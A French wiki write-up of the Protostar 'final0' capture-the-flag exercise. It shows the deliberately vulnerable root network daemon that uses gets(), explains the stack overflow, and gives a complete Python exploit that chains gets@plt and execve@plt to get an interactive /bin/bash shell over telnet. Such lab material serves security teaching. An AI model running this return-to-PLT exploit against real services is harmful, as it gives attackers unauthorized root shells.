Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:final0

Final 0

#include "../common/common.c"
 
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
 
/*
* Read the username in from the network
*/
 
char *get_username()
{
    char buffer[512];
    char *q;
    int i;
 
    memset(buffer, 0, sizeof(buffer));
    gets(buffer);
 
    /* Strip off trailing new line characters */
    q = strchr(buffer, '\n');
    if(q) *q = 0;
    q = strchr(buffer, '\r');
    if(q) *q = 0;
 
    /* Convert to lower case */
    for(i = 0; i < strlen(buffer); i++) {
        buffer[i] = toupper(buffer[i]);
    }
 
    /* Duplicate the string and return it */
    return strdup(buffer);
}
 
int main(int argc, char **argv, char **envp)
{
    int fd;
    char *username;
 
    /* Run the process as a daemon */
    background_process(NAME, UID, GID);  
 
    /* Wait for socket activity and return */
    fd = serve_forever(PORT);
 
    /* Set the client socket to STDIN, STDOUT, and STDERR */
    set_io(fd);
 
    username = get_username();
 
    printf("No such user %s\n", username);
}

Attention : j'ai exploité dans un contexte de CTF, c'est à dire sans avoir accès à la machine et sans savoir si l'aslr est activé ou non.

Sans trop de difficulté on remarque que le programme contient un stack overflow au niveau du gets(buffer). Tous les caractères de la variable buffer, qui contient notre entrée, sont mis en majuscule.

La première chose qu'on pourrait être tenté de faire c'est de profiter que la fonction get_username retourne un pointeur vers notre chaine de caractère et donc de mettre notre shellcode directement dans buffer puis de faire sauter le programme sur un call eax (la valeur de retour de la fonction est mise dans le registre eax). Cette technique nous impose aussi que le shellcode ne contienne pas de lettre de l'alphabet puisqu'elles seront mises en majuscule.

J'ai donc décidé d'utiliser les fonctions qui sont directement utilisé dans le binaire. Le programme commence par sauter sur la fonction gets pour récupérer le chemin vers le programme à exécuter (ici /bin/bash), puis sur la fonction execve pour exécuter ce dernier.

#!/usr/bin/env python
# encoding: utf-8
 
import telnetlib
 
HOST = "192.168.1.29"
PORT = 2995
 
t = telnetlib.Telnet(HOST, PORT)
 
binaire = "/bin/bash"
 
payload      =      "B" * 532
payload     +=      "\xac\x8a\x04\x08" # gets@plt
payload     +=      "\x33\x8d\x04\x08" # pop ; ret
payload     +=      "\x34\xae\x04\x08" # char *s
 
payload     +=      "\x0c\x8c\x04\x08" # execve@plt 
payload     +=      "BBBB"              # ret addr, segfault...
payload     +=      "\x34\xae\x04\x08" # char *s
payload     +=      "\x54\xae\x04\x08" # 0x0
payload     +=      "\x54\xae\x04\x08" # 0x0
 
print "[x] send payload : %s" % repr(payload)
t.write(payload+"\n")
print "[x] send command to execute : %s" % binaire
t.write(binaire+"\n") # str to execute
 
print "[x] enjoy!!"
 
t.interact()
 
t.close()
exploit_exercises_protostar/final0.txt · Dernière modification: 2017/04/09 15:33 (modification externe)